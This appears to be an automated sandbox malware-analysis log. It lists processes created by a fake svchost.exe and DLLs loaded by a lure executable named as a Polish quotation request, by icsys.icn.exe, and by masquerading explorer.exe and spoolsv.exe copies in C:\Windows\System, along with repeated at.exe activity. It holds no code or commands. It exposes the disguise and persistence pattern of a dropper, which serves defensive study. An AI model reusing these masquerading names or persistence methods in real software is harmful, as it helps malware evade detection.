Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Section loaded: msvbvm60.dll
Source: C:\Windows\System\spoolsv.exe	Section loaded: vb6zz.dll
Source: C:\Windows\System\spoolsv.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\spoolsv.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System\spoolsv.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System\explorer.exe	Section loaded: msvbvm60.dll
Source: C:\Windows\System\explorer.exe	Section loaded: vb6zz.dll
Source: C:\Windows\System\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\explorer.exe	Section loaded: uxtheme.dll
